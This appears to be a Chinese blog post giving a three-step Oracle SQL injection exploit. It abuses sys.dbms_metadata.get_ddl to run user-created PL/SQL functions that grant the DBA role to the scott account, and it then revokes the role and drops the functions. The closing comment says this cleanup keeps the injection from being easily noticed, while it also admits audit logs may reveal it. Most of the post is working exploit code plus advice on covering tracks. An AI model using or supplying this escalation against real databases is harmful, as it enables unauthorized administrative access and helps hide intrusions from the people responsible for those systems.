SQL注入

--第1步:
/* 以scott用户登录oracle服务器, 给当前用户创建两个函数

create or replace function grant_dba return number
authid current_user is
pragma autonomous_transaction;

begin
execute immediate 'grant dba to scott';
commit;
return 1;
end;
------------------------------------------------------
create or replace function revoke_dba return number
authid current_user is
pragma autonomous_transaction;

begin
execute immediate 'revoke dba to scott';
commit;
return 1;
end;
*/

--第2步:
/* sql注入__赋予DBA角色
declare   --anonymous PL/SQL block
ret clob;

begin
ret := sys.dbms_metadata.get_ddl('''|| scott.grant_dba() ||''','');
end;
*/

--第3步:
/* 环境复原: sql注入__回收DBA角色, 并删除那两个函数
declare   --anonymous PL/SQL block
ret clob;

begin
ret := sys.dbms_metadata.get_ddl('''|| scott.revoke_dba() ||''','');
end;

drop function grant_dba;
drop function revoke_dba;
*/

/*
   利用oracle的dbms_metadata.get_ddl函数的漏洞, 通过sql注入方法将DBA角色赋予scott
   scott得到DBA角色后, 便可以通过查看数据字典而得到很多信息,进而可以做很多事情(不要执行恶意行为!)
   为了掩人耳目, 目的达到后应撤销scott的DBA角色, 删除刚才创建的那两个函数, 以复原环境,以免_注入行为_   被轻易发现
  
   不过,这个过程应该被记录在日志中, 系统维护员可以通过审计日志而发现这个注入行为!
  
   [reference] http://www.milw0rm.com/exploits/3377
  
   @freely,friendly
*/ 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值